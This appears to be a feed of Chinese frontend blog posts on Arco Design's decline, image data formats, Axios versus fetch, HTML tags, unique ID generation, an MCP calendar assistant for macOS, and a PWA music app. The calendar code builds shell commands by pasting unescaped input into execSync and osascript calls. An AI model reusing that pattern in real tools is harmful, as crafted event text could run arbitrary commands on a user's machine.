  • 优势:行业标准,庞大的社区,Ant Gr0up 背书。v5 版本引入了 CSS-in-JS,在定制能力上已经大幅追赶 Arco 的 Design Lab。

  • 劣势:设计风格偏保守,需要设计师重新调整 UI 规范。


方案 C:本地魔改(推荐指数:⭐)


如果项目庞大无法迁移,唯一的出路是将 @arco-design/web-react 源码下载到本地 packages 目录,作为私有组件库维护。



  • 策略:放弃官方更新,仅修复阻塞性 Bug。这需要团队内有资深的前端架构师能够理解 Arco 的源码。


4.png


7. 结语与启示


Arco Design 的故事是现代软件工程史上的一个典型悲剧。它证明了在企业级开源领域,康威定律(Conway's Law) 依然是铁律——软件的架构和命运取决于开发它的组织架构。


当 GIP 部门意气风发时,Arco 是那颗最耀眼的星,承载着“务实浪漫主义”的理想;当组织收缩、业务调整时,它便成了由于缺乏商业造血能力而被迅速遗弃的资产。对于技术决策者而言,Arco Design 的教训是惨痛的:在进行技术选型时,不能仅看 README 上的 Star 数或官网的精美程度,更要审视项目背后的组织生命力维护动机


8.png


目前来看,Arco Design 并没有复活的迹象,社区也没有出现强有力的接棒者。这套组件库正在数字化浪潮的沙滩上,慢慢风化成一座无人问津的丰碑。


作者:Hex的极客茶水间
来源:juejin.cn/post/7582879379441745963
收起阅读 »

前端图像五兄弟:网络 URL、Base64、Blob、ArrayBuffer、本地路径,全整明白!

web
你有没有在写前端的时候,突然迷糊了: 为啥这张图片能直接 src="https://xxx.jpg" 就能展示? 为啥有时候图片是乱七八糟的一串 Base64? 有的还整出来个 Blob,看不懂但好像很高级? 有时还来个 ArrayBuffer,这又是哪位大...
继续阅读 »

你有没有在写前端的时候,突然迷糊了:



  • 为啥这张图片能直接 src="https://xxx.jpg" 就能展示?

  • 为啥有时候图片是乱七八糟的一串 Base64?

  • 有的还整出来个 Blob,看不懂但好像很高级?

  • 有时还来个 ArrayBuffer,这又是哪位大哥?

  • 最离谱的是:我本地图片路径写进去,怎么就不生效?


这些,其实都和“图像在前端的存在形式”有关。今天咱们就像唠家常一样,一口气整明白这几个常见的前端图像形式,用最接地气的方式讲明白,配上实例、场景分析,帮你彻底建立系统认知!




一、网络 URL:最熟悉的那张脸


<img src="https://example.com/image.jpg" />

这就是我们最常见的方式:网络地址。


📦 本质上是啥?

一个 HTTP(S) 请求,浏览器去服务器上拉图片回来。


👍 优点



  • 用起来最简单,能连网就能显示

  • 浏览器会缓存,提高加载效率

  • 图片不占你的 HTML 或 JS 文件大小


👎 缺点



  • 依赖网络,断网就 GG

  • 跨域可能出问题(特别是 canvas 想处理图片时)

  • 没法离线用


🧩 常见场景



  • 图床、CDN 图片

  • 用户头像、商品封面等动态内容




二、本地 URL(相对路径):常被坑的老兄


<img src="./images/logo.png" />

听起来像本地文件,实际上也是被打包进项目的资源文件路径


⚙️ 本质上是啥?

开发时是相对路径,生产环境通常会被 Webpack、Vite 等构建工具“处理成”一个真实可访问的路径,比如 dist/assets/logo.abcd1234.png


👀 你可能踩过的坑



  • 路径写错,或者构建工具没配置资源处理,图片加载失败

  • 静态服务器没开,直接打开 HTML 无法访问文件(浏览器出于安全考虑禁止 file 协议访问)


💡 使用建议



  • 放到 public 目录,或者使用 import 静态资源方式处理

  • 建议使用构建工具配置 alias 简化路径




三、Base64:字节转码“图片串”


<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA..." />

这是把图片数据编码成 Base64 的字符串,直接塞进 HTML 或 JS 文件里。


🔬 本质上是啥?

Base64 是一种将二进制数据编码成 ASCII 字符串的方式。


优点



  • 免请求!嵌入式图片,一起打包进页面

  • 没有跨域问题

  • 非常适合小图标、loading 动画、SVG


缺点



  • 体积暴涨,大概比原图多 33%

  • 可读性差,不利于维护

  • 页面初始加载变慢


🧩 常见场景



  • CSS background-image

  • 富文本编辑器中的粘贴图像

  • 邮件嵌入图像




四、Blob:文件对象,前端造图必备


const blob = new Blob([arrayBuffer], { type: 'image/png' });
const url = URL.createObjectURL(blob);
img.src = url;

这是处理文件流时常见的一种格式。


🔍 本质上是啥?

Blob 是浏览器提供的一种二进制大对象,可以把它看作 JS 里的“文件”。


💪 优点



  • 可由 JS 动态生成,支持下载、预览、上传

  • 可控制 MIME 类型,灵活性强

  • 可以通过 URL.createObjectURL() 生成临时地址


📉 缺点



  • 是内存对象,页面刷新就没了

  • 不能跨页面共享(临时的)


🧩 常见场景



  • 前端截图(canvas.toBlob()

  • 文件上传预览

  • 后台生成图片后前端下载




五、ArrayBuffer / Uint8Array:最低层的图像数据表示


fetch('image.jpg')
.then(res => res.arrayBuffer())
.then(buffer => {
// 可以转为 blob 或 base64 再显示
});

这是最底层的图像数据,直接以字节数组的形式存在。


🧠 本质上是啥?

ArrayBuffer 是一段原始的内存区域,常用于处理二进制数据,Uint8Array 是对它的视图(读取用)。


🧰 常见用途



  • 图像处理(比如 AI 模型的图片输入)

  • 自定义图片加载器(如通过 WASM 解码)

  • 二进制传输协议


🔄 转换方式



  • 转为 Blob:new Blob([buffer])

  • 转为 Base64:btoa(String.fromCharCode(...new Uint8Array(buffer)))




🔄 图像形式转换总结表格


形式可直接显示是否跨域限制是否可本地预览推荐用途
网络 URL最常见场景
本地路径✅(需本地服务器)项目资源图
Base64小图标、嵌入图
Blob前端生成图
ArrayBuffer图像底层处理



🧠 最后的总结:选哪种图像形式?



  • 展示外部图 → 用 URL

  • 项目图标/静态资源 → 本地路径

  • 上传/预览/截图 → Blob

  • 处理图像数据 → ArrayBuffer

  • 小图或嵌入内容 → Base64


掌握这些图像“存在形式”,不仅能帮你写出更高效、稳定的代码,更能在项目中灵活切换,游刃有余!




如果你觉得这篇有点帮助,别忘了点个赞或者收藏一下~


作者:香宇1024
来源:juejin.cn/post/7495549439035195402
收起阅读 »

🔥3 kB 换 120 ms 阻塞? Axios 还是 fetch?

web
0. 先抛结论,再吵不迟 指标Axios 1.7fetch (原生)gzip 体积≈ 3.1 kB0 kB阻塞时间(M3/4G)120 ms0 ms内存峰值(1000 并发)17 MB11 MB生产 P1 故障(过去一年)2 次(拦截器顺序 bug)0 次开发...
继续阅读 »

0. 先抛结论,再吵不迟


指标Axios 1.7fetch (原生)
gzip 体积≈ 3.1 kB0 kB
阻塞时间(M3/4G)120 ms0 ms
内存峰值(1000 并发)17 MB11 MB
生产 P1 故障(过去一年)2 次(拦截器顺序 bug)0 次
开发体验(DX)10 分7 分

结论:



  • 极致性能/SSG/Edge → fetch 已足够;

  • 企业级、需要全局拦截、上传进度 → Axios 仍值得;

  • 二者可共存:核心链路与首页用 fetch,管理后台用 Axios。




1. 3 kB 到底贵不贵?


2026 年 1 月,HTTP Archive 最新采样(Chrome 桌面版)显示:



  • 中位 JS 体积 580 kB,3 kB 似乎“九牛一毛”;

  • 但放到首屏预算 100 kB 的站点(TikTok 推荐值),3 kB ≈ 3 % 预算,再加 120 ms 阻塞,LCP 直接从 1.5 s 飙到 1.62 s,SEO 评级掉一档。



“ bundle 每 +1 kB,4G 下 FCP +8 ms”——Lighthouse 2025 白皮书。





2. 把代码拍桌上:差异只剩这几行


下面 4 个高频场景,全部给出“可直接复制跑”的片段,差异一目了然。


2.1 自动 JSON + 错误码


// Axios:零样板
const {data} = await axios.post('/api/login', {user, pwd});

// fetch:两行样板
const res = await fetch('/api/login', {
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({user, pwd})
});
if (!res.ok) throw new Error(res.status);
const data = await res.json();

争议



  • Axios 党:少写两行,全年少写 3000 行。

  • fetch 党:gzip 后 3 kB 换两行?ESLint 模板一把就补全。


2.2 超时 + 取消


// Axios:内置
const source = axios.CancelToken.source();
setTimeout(() => source.cancel('timeout'), 5000);
await axios.get('/api/big', {cancelToken: source.token});

// fetch:原生 AbortController
const ctl = new AbortController();
setTimeout(() => ctl.abort(), 5000);
await fetch('/api/big', {signal: ctl.signal});

2025 之后 Edge/Node 22 已全支持,AbortSignal.timeout(5000) 一行搞定:


await fetch('/api/big', {signal: AbortSignal.timeout(5000)});

结论:语法差距已抹平。


2.3 上传进度条


// Axios:progress 事件
await axios.post('/upload', form, {
onUploadProgress: e => setProgress(e.loaded / e.total)
});

// fetch:借助 `xhr` 或 `ReadableStream`
// 2026 仍无原生简易方案,需要封装 `xhr` 才能拿到 `progress`。

结论:大文件上传场景 Axios 仍吊打 fetch。


2.4 拦截器(token、日志)


// Axios:全局拦截
axios.interceptors.request.use(cfg => {
cfg.headers.Authorization = `Bearer ${getToken()}`;
return cfg;
});

// fetch:三行封装
export const $get = (url, opts = {}) => fetch(url, {
...opts,
headers: {...opts.headers, Authorization: `Bearer ${getToken()}`}
});

经验:拦截器一旦>2 个,Axios 顺序地狱频发;fetch 手动链式更直观。




3. 实测!同一个项目,两套 bundle


测试场景



  • React 18 + Vite 5,仅替换 HTTP 层;

  • 构建目标:es2020 + gzip + brotli;

  • 网络:模拟 4G(RTT 150 ms);

  • 采样 10 次取中位。


指标Axiosfetch
gzip bundle46.7 kB43.6 kB
首屏阻塞时间120 ms0 ms
Lighthouse TTI2.1 s1.95 s
内存峰值(1000 并发请求)17 MB11 MB
生产报错(过去一年)2 次拦截器顺序错乱0


数据来自 rebrowser 2025 基准 ;阻塞时间差异与 51CTO 独立测试吻合 。





4. 什么时候一定要 Axios?



  1. 需要上传进度(onUploadProgress)且不想回退 xhr;

  2. 需要请求/响应拦截链 >3 层,且团队对“黑盒”可接受;

  3. 需要兼容 IE11(2026 年政务/银行仍存);

  4. 需要Node 16 以下老版本(fetch 需 18+)。




5. 共存方案:把 3 kB 花在刀刃上


// core/http.js
export const isSSR = typeof window === 'undefined';
export const HTTP = isSSR || navigator.connection?.effectiveType === '4g'
? { get: (u,o) => fetch(u,{...o, signal: AbortSignal.timeout(5000)}) }
: await import('axios'); // 动态 import,只在非 4G 或管理后台加载

结果:



  • 首屏 0 kB;

  • 管理后台仍享受 Axios 拦截器;

  • 整体 bundle 下降 7 %,LCP −120 ms。




6. 一句话收尸


2026 年的浏览器,fetch 已把“缺的课”补完:取消、超时、Node 原生、TypeScript 完美。

3 kB 的 Axios 不再是“默认”,而是“按需”。

上传进度、深链拦截、老浏览器——用 Axios;

其余场景,让首页飞一把,把 120 ms 还给用户。


作者:404星球的猫
来源:juejin.cn/post/7590011643297005606
收起阅读 »

这 5 个冷门 HTML 标签,让我直接删了100 行 JS 代码!

web
在写前端的时候,我们实现的比较多的一些基础交互,比如折叠面板、弹窗、输入提示、进度条或颜色选择等等,会不得不引入 JavaScript。 但其实,HTML 自己也内置了不少功能强大的原生标签,它们开箱即用、语义清晰,还能大幅减少 JS 的代码量。 下面介绍 5...
继续阅读 »

在写前端的时候,我们实现的比较多的一些基础交互,比如折叠面板、弹窗、输入提示、进度条或颜色选择等等,会不得不引入 JavaScript


但其实,HTML 自己也内置了不少功能强大的原生标签,它们开箱即用、语义清晰,还能大幅减少 JS 的代码量。


下面介绍 5 个冷门但实用的 HTML 标签。


1. <details><summary> - 可折叠内容


替代: 手风琴效果、折叠面板、FAQ部分


<details>
<summary>点击查看详情</summary>
<p>隐藏的内容,无需JS实现展开/收起</p>
</details>

实现效果:



使用场景



  • FAQ 折叠面板

  • 设置项分组展开

  • 移动端“查看更多”区域


注意事项



  • 默认是关闭状态;添加 open 属性可默认展开:<details open>

  • 可通过 CSS 的 details[open] 选择器定制展开样式

  • 支持键盘操作(Enter/Space 触发),无障碍友好




2. <dialog> - 原生对话框


替代:div模拟模态框 + 背景遮罩 + 关闭逻辑


<dialog id="modal">
<p>这是原生弹窗</p>
<button onclick="document.getElementById('modal').close()">关闭</button>
</dialog>
<button onclick="document.getElementById('modal').showModal()">打开弹窗</button>

实现效果:



使用场景



  • 确认提示框

  • 登录/注册弹窗

  • 临时信息展示


注意事项



  • .showModal() 会自动创建半透明遮罩(可通过 ::backdrop 自定义)

  • .show() 是非模态显示(不锁定背景)

  • 聚焦自动管理:打开时聚焦第一个可聚焦元素,关闭后焦点返回触发按钮

  • 兼容性:Chrome/Firefox/Edge 支持良好;Safari 15.4+ 支持;IE 不支持




3. <datalist> - 输入建议列表


替代:监听input事件 + 动态生成下拉列表


<input list="browsers" placeholder="选择或输入浏览器">
<datalist id="browsers">
<option value="Chrome">
<option value="Firefox">
<option value="Safari">
</datalist>

实现效果:



使用场景



  • 搜索建议(非强制选项)

  • 表单字段预填(如城市、产品名)

  • 快速输入辅助


注意事项



  • 用户仍可输入不在列表中的值(与 <select> 不同)

  • 浏览器会自动根据输入过滤匹配项

  • 移动端会调出带建议的软键盘(部分浏览器支持)




4. <meter> & <progress> - 进度指示器


替代:div模拟进度条 + JS更新宽度


<!-- 已知范围内的标量值(如磁盘使用率) -->
<meter min="0" max="100" value="70">70%</meter>

<!-- 任务完成进度(如文件上传) -->
<progress value="50" max="100">50%</progress>

实现效果:



使用场景



  • 搜索建议(非强制选项)

  • 表单字段预填(如城市、产品名)

  • 快速输入辅助


注意事项



  • 用户仍可输入不在列表中的值(与 <select> 不同)

  • 浏览器会自动根据输入过滤匹配项

  • 移动端会调出带建议的软键盘(部分浏览器支持)




5. <input type="color"> - 颜色选择器


替代:自定义颜色选择器UI + 色值转换逻辑


<input type="color" value="#ff0000">

实现效果:



使用场景



  • 主题配色设置

  • 图表颜色配置

  • 设计工具中的拾色功能


注意事项



  • 返回值始终为 小写 7 位十六进制(如 #ff5733

  • 移动端会调出系统级颜色选择器

  • 无法自定义 UI,但可通过 ::-webkit-color-swatch 微调样式(有限)




总结



  • <details> / <summary>:实现折叠内容

  • <dialog>:原生弹窗,自带遮罩和焦点管理

  • <datalist>:输入建议选择

  • <meter> / <progress>:进度展示无需手动计算宽度

  • <input type="color">:系统级颜色选择器开箱即用


这些原生 HTML 标签虽然不太起眼,但用好它们,不仅能省去大量 JavaScript 逻辑,还能让页面更语义化、更友好。



本文首发于公众号:程序员大华,专注分享前后端开发的实战笔记。关注我,少走弯路,一起进步!



作者:程序员大华
来源:juejin.cn/post/7594742976712179746
收起阅读 »

一行生成绝对唯一 ID:别再依赖 Date.now() 了!

web
在前端开发中,“生成唯一 ID” 是高频需求 —— 从列表项标识、表单临时存储,到数据缓存键值,都需要一个 “绝对不重复” 的标识符。但看似简单的需求下,藏着很多容易踩坑的实现方式,稍有不慎就会引发数据冲突、逻辑异常等问题。 今天我们就来拆解常见误区,带你掌握...
继续阅读 »

在前端开发中,“生成唯一 ID” 是高频需求 —— 从列表项标识、表单临时存储,到数据缓存键值,都需要一个 “绝对不重复” 的标识符。但看似简单的需求下,藏着很多容易踩坑的实现方式,稍有不慎就会引发数据冲突、逻辑异常等问题。


今天我们就来拆解常见误区,带你掌握真正可靠的唯一 ID 生成方案。


一、为什么 “唯一 ID” 比想象中难?


唯一 ID 的核心要求是 “全局不重复”,但前端环境的特殊性(无状态、多标签页、高并发操作),让很多看似合理的方案在实际场景中失效。


下面两种常见实现,其实都是 “伪唯一” 陷阱。


❌ 误区 1:时间戳 + 随机数(Date.now() + Math.random())


很多开发者会直觉性地将 “时间唯一性” 和 “随机唯一性” 结合,写出这样的代码:


// 错误示例:看似合理的“伪唯一”方案
function generateNaiveId() {
// 时间戳转36进制(缩短长度)+ 随机数截取
return Date.now().toString(36) + Math.random().toString(36).substr(2);
}
// 示例输出:l6n7f4v2am50k9m7o4

这种方案的缺陷在高并发场景下会暴露无遗:



  • 时间戳精度不足Date.now() 的精度是毫秒级(1ms),如果同一毫秒内调用多次(比如循环生成、高频接口回调),ID 的 “时间部分” 会完全重复;

  • 伪随机性风险Math.random() 生成的是 “非加密级随机数”,其算法可预测,在短时间内可能生成重复的序列,进一步增加冲突概率。


结论:仅适用于低频次、非核心场景(如临时展示用 ID),绝对不能用于生产环境的核心数据标识


❌ 误区 2:全局自增计数器


另一种思路是维护一个全局变量自增,看似能保证 “有序唯一”:


// 错误示例:自增计数器方案
let counter = 0;
function generateIncrementId() {
return `id-${counter++}`;
}
// 示例输出:id-0、id-1、id-2...

但在浏览器环境中,这个方案的缺陷更致命:



  • 无状态丢失:页面刷新、路由跳转后,counter 会重置为 0,之前的 ID 序列会重复;

  • 多标签页冲突:用户打开多个相同页面时,每个页面的 counter 都是独立的,会生成完全相同的 ID(比如两个页面同时生成 id-0)。


结论:浏览器环境中几乎毫无实用价值,仅能用于单次会话、单页面的临时标识。


二、王者方案:一行代码实现绝对唯一 —— crypto.randomUUID()


既然简单方案不可靠,我们需要借助浏览器原生提供的 “加密级” 能力。crypto.randomUUID() 就是 W3C 标准推荐的官方解决方案,彻底解决 “唯一 ID” 难题。


1. 用法:一行代码搞定


crypto 是浏览器内置的全局对象(无需引入任何库),专门提供加密相关能力,randomUUID() 方法可直接生成符合 RFC 4122 v4 规范 的 UUID(通用唯一标识符):


// 正确示例:生成绝对唯一ID
const uniqueId = crypto.randomUUID();
// 示例输出:3a6c4b2a-4c26-4d0f-a4b7-3b1a2b3c4d5e

2. 为什么它是 “绝对唯一” 的?


crypto.randomUUID() 的可靠性源于三个核心优势:



  • 极低碰撞概率:v4 UUID 由 122 位随机数构成,组合数量高达 2^122(约 5.3×10^36),相当于 “在地球所有沙滩的沙粒中,选中某一颗特定沙粒” 的概率,实际场景中碰撞概率趋近于 0;

  • 加密级随机性:基于 “密码学安全伪随机数生成器(CSPRNG)”,随机性远优于 Math.random(),无法被预测或破解,避免恶意伪造重复 ID;

  • 跨环境兼容:生成的 UUID 是全球通用标准格式(8-4-4-4-12 位字符),前端、后端(Node.js、Java 等)、数据库(MySQL、MongoDB)都能直接识别,无需格式转换。


3. 兼容性:覆盖所有现代环境


crypto.randomUUID() 的支持范围已经非常广泛,完全满足绝大多数新项目需求:



  • 浏览器:Chrome 92+、Firefox 90+、Safari 15.4+(2022 年及以后发布的版本);

  • 服务器:Node.js 14.17+(LTS 版本均支持);

  • 框架:Vue 3、React 18、Svelte 等现代框架无任何兼容性问题。


三、兼容性兜底方案(针对旧环境)


如果需要兼容旧浏览器(如 IE11)或低版本 Node.js,可以使用第三方库 uuid(轻量、无依赖),其底层逻辑与 crypto.randomUUID() 一致:


安装依赖:


npm install uuid
# 或 yarn add uuid

使用方式:


// 旧环境兜底方案
import { v4 as uuidv4 } from 'uuid';
const uniqueId = uuidv4();
// 示例输出:同标准UUID格式

四、总结:唯一 ID 生成的 “最佳实践”



对于 2023 年后的新项目,直接使用 crypto.randomUUID() 即可 —— 一行代码、零依赖、绝对可靠,彻底告别 “ID 重复” 的烦恼!


作者:大知闲闲i
来源:juejin.cn/post/7561781514922688522
收起阅读 »

前端的AI路其之三:用MCP做一个日程助理

web
前言 话不多说,先演示一下吧。大概功能描述就是,告诉AI“添加日历,今天下午五点到六点,我要去万达吃饭”,然后AI自动将日程同步到日历。 准备工作 开发这个日程助理需要用到MCP、Mac(mac的日历能力)、Windsurf(运行mcp)。技术栈是Types...
继续阅读 »

前言


话不多说,先演示一下吧。大概功能描述就是,告诉AI“添加日历,今天下午五点到六点,我要去万达吃饭”,然后AI自动将日程同步到日历


2025-04-1819.25.19-ezgif.com-video-to-gif-converter.gif


准备工作


开发这个日程助理需要用到MCPMac(mac的日历能力)Windsurf(运行mcp)。技术栈是Typescript


思路


基于MCP我们可以做很多。关于这个日程助理,其实也是很简单一个尝试,其实就是再验证一下我对MCP的使用。因为Siri的原因,让我刚好有了这个想法,尝试一下自己搞个日程助理。关于MCP可以看我前面的分享
# 前端的AI路其之一: MCP与Function Calling# 前端的AI路其之二:初试MCP Server


我的思路如下: 让大模型理解一下我的意图,然后执行相关操作。这也是我对MCP的理解(执行相关操作)。因此要做日程助理,那就很简单了。首先搞一个脚本,能够自动调用mac并添加日历,然后再包装成MCP,最后引入大模型就ok了。顺着这个思路,接下来就讲讲如何实现吧


实现


第一步:在mac上添加日历


这里我们需要先明确一个概念。mac上给日历添加日程,其实是就是给对应的日历类型添加日程。举个例子


image.png


左边红框其实就是日历类型,比如我要添加一个开发日程,其实就是先选择"开发"日历,然后在该日历下添加日程。因此如果我们想通过脚本形式创建日程,其实就是先看日历类型存在不存在,如果存在,就在该类型下添加一个日程。


因此这里第一步,我们先获取mac上有没有对应的日历,没有的话就创建一个。


1.1 查找日历



参考文档 mac查找日历



假定我们的日历类型叫做 日程助手这里我使用了applescript的语法,因为JavaScript的方式我这运行有问题。


import { execSync } from 'child_process';

function checkCalendarExists(calendarName) {

const Script = `tell application "Calendar"
set theCalendarName to "${calendarName}"
set theCalendar to first calendar where its name = theCalendarName
end tell`
;


// 执行并解析结果
try {
const result = execSync(`osascript -e '${Script}'`, {
encoding: 'utf-8',
stdio: ['pipe', 'pipe', 'ignore'] // 忽略错误输出
});

console.log(result);
return true;
} catch (error) {
console.error('检测失败:', error.message);
return false;
}
}

// 使用示例
const calendarName = '日程助手';
const exists = checkCalendarExists(calendarName);
console.log(`日历 "${calendarName}" 存在:`, exists ? '✅ 是' : '❌ 否');



附赠检验结果

image.png


现在我们知道了怎么判断日历存不存在,那么接下来就是,在日历不存在的时候创建日历


1.2 日历创建



参考文档 mac 创建日历



import { execSync } from 'child_process';


// 创建日历
function createCalendar(calendarName) {
const script = `tell application "Calendar"
make new calendar with properties {name:"${calendarName}"}
end tell`
;

try {

execSync(`osascript -e '${script}'`, {
encoding: 'utf-8',
stdio: ['pipe', 'pipe', 'ignore'] // 忽略错误输出
});

return true;
} catch (e) {
console.log('create fail', e)
return false;
}
}

// 检查日历是否存在
function checkCalendarExists(calendarName) {
....
}

// 使用示例
const calendarName = '日程助手';
const exists = checkCalendarExists(calendarName);
console.log(`日历 "${calendarName}" 存在:`, exists ? '✅ 是' : '❌ 否');

if (!exists) {
const res = createCalendar(calendarName);

console.log(res ? '✅ 创建成功' : '❌ 创建失败')
}


运行结果

image.png


接下来就是第三步了,在日历“日程助手”下创建日程


1.3 创建日程


import { execSync } from 'child_process';

// 创建日程
function createCalendarEvent(calendarName, config) {

const script = `var app = Application.currentApplication()
app.includeStandardAdditions = true
var Calendar = Application("Calendar")

var eventStart = new Date(${config.startTime})
var eventEnd = new Date(${config.endTime})

var projectCalendars = Calendar.calendars.whose({name: "${calendarName}"})
var projectCalendar = projectCalendars[0]
var event = Calendar.Event({summary: "${config.title}", startDate: eventStart, endDate: eventEnd, description: "${config.description}"})
projectCalendar.events.push(event)
event`


try {
console.log('开始创建日程');
execSync(` osascript -l JavaScript -e '${script}'`, {
encoding: 'utf-8',
stdio: ['pipe', 'pipe', 'ignore'] // 忽略错误输出
});
console.log('✅ 日程添加成功');
} catch (error) {
console.error('❌ 执行失败:', error);
}

}

// 创建日历
function createCalendar(calendarName) {
....
}

// 检查日历是否存在
function checkCalendarExists(calendarName) {

...
}


这里我们完善一下代码


import { execSync } from 'child_process';

function handleCreateEvent(config) {
const calendarName = '日程助手';
const exists = checkCalendarExists(calendarName);
// console.log(`日历 "${calendarName}" 存在:`, exists ? '✅ 是' : '❌ 否');

if (!exists) {
const createRes = createCalendar(calendarName);

console.log(createRes ? '✅ 创建日历成功' : '❌ 创建日历失败')

if (createRes) {
createCalendarEvent(calendarName, config)
}
} else {
createCalendarEvent(calendarName, config)
}
}

// 创建日程
function createCalendarEvent(calendarName, config) {

const script = `var app = Application.currentApplication()
app.includeStandardAdditions = true
var Calendar = Application("Calendar")

var eventStart = new Date(${config.startTime})
var eventEnd = new Date(${config.endTime})

var projectCalendars = Calendar.calendars.whose({name: "${calendarName}"})
var projectCalendar = projectCalendars[0]
var event = Calendar.Event({summary: "${config.title}", startDate: eventStart, endDate: eventEnd, description: "${config.description}"})
projectCalendar.events.push(event)
event`


try {
console.log('开始创建日程');
execSync(` osascript -l JavaScript -e '${script}'`, {
encoding: 'utf-8',
stdio: ['pipe', 'pipe', 'ignore'] // 忽略错误输出
});
console.log('✅ 日程添加成功');
} catch (error) {
console.error('❌ 执行失败:', error);
}

}

// 创建日历
function createCalendar(calendarName) {
const script = `tell application "Calendar"
make new calendar with properties {name:"${calendarName}"}
end tell`
;

try {

execSync(`osascript -e '${script}'`, {
encoding: 'utf-8',
stdio: ['pipe', 'pipe', 'ignore'] // 忽略错误输出
});

return true;
} catch (e) {
console.log('create fail', e)
return false;
}
}

// 检查日历是否存在
function checkCalendarExists(calendarName) {

const Script = `tell application "Calendar"
set theCalendarName to "${calendarName}"
set theCalendar to first calendar where its name = theCalendarName
end tell`
;


// 执行并解析结果
try {
const result = execSync(`osascript -e '${Script}'`, {
encoding: 'utf-8',
stdio: ['pipe', 'pipe', 'ignore'] // 忽略错误输出
});

return true;
} catch (error) {
return false;
}
}


// 运行示例

const eventConfig = {
title: '团队周会',
startTime: 1744183538021,
endTime: 1744442738000,
description: '每周项目进度同步',
};

handleCreateEvent(eventConfig)


运行结果

image.png


image.png


这就是一个完善的,可以直接在终端运行的创建日程的脚本的。接下来我们要做的就是,让大模型理解这个脚本,并学会使用这个脚本


第二步: 定义MCP


基于第一步,我们已经完成了这个日程助理的基本功能,接下来就是借助MCP的能力,教会大模型知道有这个函数,以及怎么调用这个函数


// 引入 mcp
import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
import { z } from "zod";

// 声明MCP服务
const server = new McpServer({
name: "mcp_calendar",
version: "1.0.0"
});

...
// 添加日历函数 也就是告诉大模型 有这个东西以及怎么用
server.tool("add_mac_calendar", '给mac日历添加日程, 接受四个参数 startTime, endTime是起止时间(格式为YYYY-MM-DD HH:MM:SS) title是日历标题 description是日历描述', { startTime: z.string(), endTime: z.string(), title: z.string(), description: z.string() },
async ({ startTime, endTime, title, description }) => {
const res = handleCreateEvent({
title: title,
description: description,
startTime: new Date(startTime).getTime(),
endTime: new Date(endTime).getTime()
});
return {
content: [{ type: "text", text: res ? '添加成功' : '添加失败' }]
}
})


// 初始化服务
const transport = new StdioServerTransport();
await server.connect(transport);


这里附上完整的ts代码


import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
import { execSync } from 'child_process';
import { z } from "zod";


export interface EventConfig {
// 日程标题
title: string;
// 日程开始时间 毫秒时间戳
startTime: number;
// 日程结束时间 毫秒时间戳
endTime: number;
// 日程描述
description: string;
}

const server = new McpServer({
name: "mcp_calendar",
version: "1.0.0"
});

function handleCreateEvent(config: EventConfig) {
const calendarName = '日程助手';
const exists = checkCalendarExists(calendarName);
// console.log(`日历 "${calendarName}" 存在:`, exists ? '✅ 是' : '❌ 否');

let res = false;

if (!exists) {
const createRes = createCalendar(calendarName);

console.log(createRes ? '✅ 创建日历成功' : '❌ 创建日历失败')

if (createRes) {
res = createCalendarEvent(calendarName, config)
}
} else {
res = createCalendarEvent(calendarName, config)
}

return res
}

// 创建日程
function createCalendarEvent(calendarName: string, config: EventConfig) {

const script = `var app = Application.currentApplication()
app.includeStandardAdditions = true
var Calendar = Application("Calendar")

var eventStart = new Date(${config.startTime})
var eventEnd = new Date(${config.endTime})

var projectCalendars = Calendar.calendars.whose({name: "${calendarName}"})
var projectCalendar = projectCalendars[0]
var event = Calendar.Event({summary: "${config.title}", startDate: eventStart, endDate: eventEnd, description: "${config.description}"})
projectCalendar.events.push(event)
event`


try {
console.log('开始创建日程');
execSync(` osascript -l JavaScript -e '${script}'`, {
encoding: 'utf-8',
stdio: ['pipe', 'pipe', 'ignore'] // 忽略错误输出
});
console.log('✅ 日程添加成功');

return true
} catch (error) {
console.error('❌ 执行失败:', error);
return false
}

}

// 创建日历
function createCalendar(calendarName: string) {
const script = `tell application "Calendar"
make new calendar with properties {name:"${calendarName}"}
end tell`
;

try {

execSync(`osascript -e '${script}'`, {
encoding: 'utf-8',
stdio: ['pipe', 'pipe', 'ignore'] // 忽略错误输出
});

return true;
} catch (e) {
console.log('create fail', e)
return false;
}
}

// 检查日历是否存在
function checkCalendarExists(calendarName: string) {

const Script = `tell application "Calendar"
set theCalendarName to "${calendarName}"
set theCalendar to first calendar where its name = theCalendarName
end tell`
;


// 执行并解析结果
try {
const result = execSync(`osascript -e '${Script}'`, {
encoding: 'utf-8',
stdio: ['pipe', 'pipe', 'ignore'] // 忽略错误输出
});

return true;
} catch (error) {
return false;
}
}


server.tool("add_mac_calendar", '给mac日历添加日程, 接受四个参数 startTime, endTime是起止时间(格式为YYYY-MM-DD HH:MM:SS) title是日历标题 description是日历描述', { startTime: z.string(), endTime: z.string(), title: z.string(), description: z.string() },
async ({ startTime, endTime, title, description }) => {
const res = handleCreateEvent({
title: title,
description: description,
startTime: new Date(startTime).getTime(),
endTime: new Date(endTime).getTime()
});
return {
content: [{ type: "text", text: res ? '添加成功' : '添加失败' }]
}
})

const transport = new StdioServerTransport();
await server.connect(transport);



第三步: 导入Windsurf


在前文已经讲过如何引入到Windsurf,可以参考前文# 前端的AI路其之二:初试MCP Server ,这里就不过多赘述了。 其实在build之后,完全可以引入其他支持MCP的软件基本都是可以的。


接下来就是愉快的调用时间啦。


总结


这里其实是对前文# 前端的AI路其之二:初试MCP Server 的再次深入。算是大概讲明白了Tool方式怎么用,MCP当然不止这一种用法,后面也会继续输出自己的学习感悟,也欢迎各位大佬的分享和指正。


祝好。


作者:justdoit521
来源:juejin.cn/post/7495598542405550107
收起阅读 »

Web PWA的极致,比App更像App

web
这是一个平平无奇的音乐App Vooh,你可以在里面搜索歌曲,添加播放列表,播放音乐。 你可以滑动返回上一级页面,就像任何一个普通的App那样。 你可以流畅地展开音乐播放面板,看着歌词随着播放时间滚动。 当然,你也可以在电脑端,或者iPad上使用这个Ap...
继续阅读 »

这是一个平平无奇的音乐App Vooh,你可以在里面搜索歌曲,添加播放列表,播放音乐。



你可以滑动返回上一级页面,就像任何一个普通的App那样。



你可以流畅地展开音乐播放面板,看着歌词随着播放时间滚动。



当然,你也可以在电脑端,或者iPad上使用这个App。





